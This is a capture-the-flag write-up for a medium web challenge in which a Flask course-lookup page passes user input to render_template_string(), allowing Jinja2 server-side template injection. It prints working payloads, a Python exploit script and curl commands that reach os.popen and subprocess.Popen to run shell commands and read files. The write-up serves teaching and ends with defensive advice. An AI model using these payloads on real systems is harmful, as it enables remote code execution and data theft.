Web
Medium
200 points

Course List

Recuite 2025 - HCMUS
6 tháng 10, 2025
SSTI
Server-Side Template Injection
Jinja2
Flask
Recuite 2025 - HCMUS
Web

Course List - Write-up

Challenge Information

  • Category: Web
  • Difficulty: Medium
  • Vulnerability: Server-Side Template Injection (SSTI)

Overview

This challenge is a university course lookup system. The application uses Flask's render_template_string() with user-controlled input, creating a Server-Side Template Injection (SSTI) vulnerability in the Jinja2 template engine.

Vulnerability: SSTI (Server-Side Template Injection)

Source Code Analysis

def get_source_code(course_code, course_name):
    return '''
    <!DOCTYPE html>
    ...
    <tr>
        <td>''' + course_code + '''</td>
        <td>''' + course_name + '''</td>
    </tr>
    ...
    '''

@app.route('/', methods=['GET'])
def show_course():
    course_code = request.args.get('courseCode')
    if not course_code:
        course_code = "CSC10007"
    
    try:
        course_name = courses_dictionary[str(course_code)]
    except:
        course_name = "That course does not exists."
    
    site = get_source_code(course_code, course_name)
    return render_template_string(site)  # ⚠️ Vulnerable!

The Problem:

  • course_code parameter from GET request is injected directly into HTML string
  • HTML string is then passed to render_template_string()
  • Jinja2 template engine will evaluate any template expressions within the string

Basic SSTI

Vulnerability Detection

Test with common payloads:

# Mathematical expressions
{{7*7}}          # Output: 49
{{7*'7'}}        # Output: 7777777

# Python expressions
{{config}}       # Flask config object
{{self}}         # Template context

URL Encoding

/?courseCode={{7*7}}
/?courseCode=%7B%7B7*7%7D%7D

Exploitation

Step 1: Confirm SSTI

GET /?courseCode={{7*7}} HTTP/1.1
Host: target.com

Response: Displays "49" in course code field

Step 2: Access Python Built-ins

Jinja2 sandboxing can be bypassed via object introspection:

# Get subclasses of object class
{{''.__class__.__mro__[1].__subclasses__()}}

# Find useful classes (e.g., subprocess.Popen, os._wrap_close)
{{''.__class__.__mro__[1].__subclasses__()[X]}}

Step 3: Remote Code Execution

Payload to read flag:

# Use os.popen
{{''.__class__.__mro__[1].__subclasses__()[X]('cat flag.txt',shell=True,stdout=-1).communicate()}}

# Use eval
{{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}

# Use open()
{{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['__builtins__']['open']('flag.txt').read()}}

Step 4: Find Correct Subclass Index

# List all subclasses to find useful ones
{% for i in range(500) %}
  {{i}}: {{''.__class__.__mro__[1].__subclasses__()[i]}}
{% endfor %}

Look for classes:

  • subprocess.Popen (index may vary)
  • os._wrap_close
  • warnings.catch_warnings

Complete Exploit

Python Script

import requests
import urllib.parse

url = "http://target.com/"

# Payload for RCE
payload = """{{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].popen('cat flag.txt').read()}}"""

# URL encode
encoded_payload = urllib.parse.quote(payload)

# Send request
response = requests.get(f"{url}?courseCode={encoded_payload}")

# Extract flag from response
print(response.text)

Manual Exploitation

# Step 1: Find index of subprocess.Popen
curl "http://target.com/?courseCode={{''.__class__.__mro__[1].__subclasses__()}}"

# Step 2: Test RCE with 'id' command
curl "http://target.com/?courseCode={{''.__class__.__mro__[1].__subclasses__()[420]('id',shell=True,stdout=-1).communicate()}}"

# Step 3: Read flag
curl "http://target.com/?courseCode={{''.__class__.__mro__[1].__subclasses__()[420]('cat+flag.txt',shell=True,stdout=-1).communicate()}}"

Key Takeaways

  1. Never use render_template_string with user input
  2. Always use separate template files with render_template()
  3. Jinja2 autoescape only works with template files, not template strings
  4. Sanitize and validate all user inputs
  5. Defense in depth - multiple layers of security
200
Points
Medium
Difficulty
Web
Category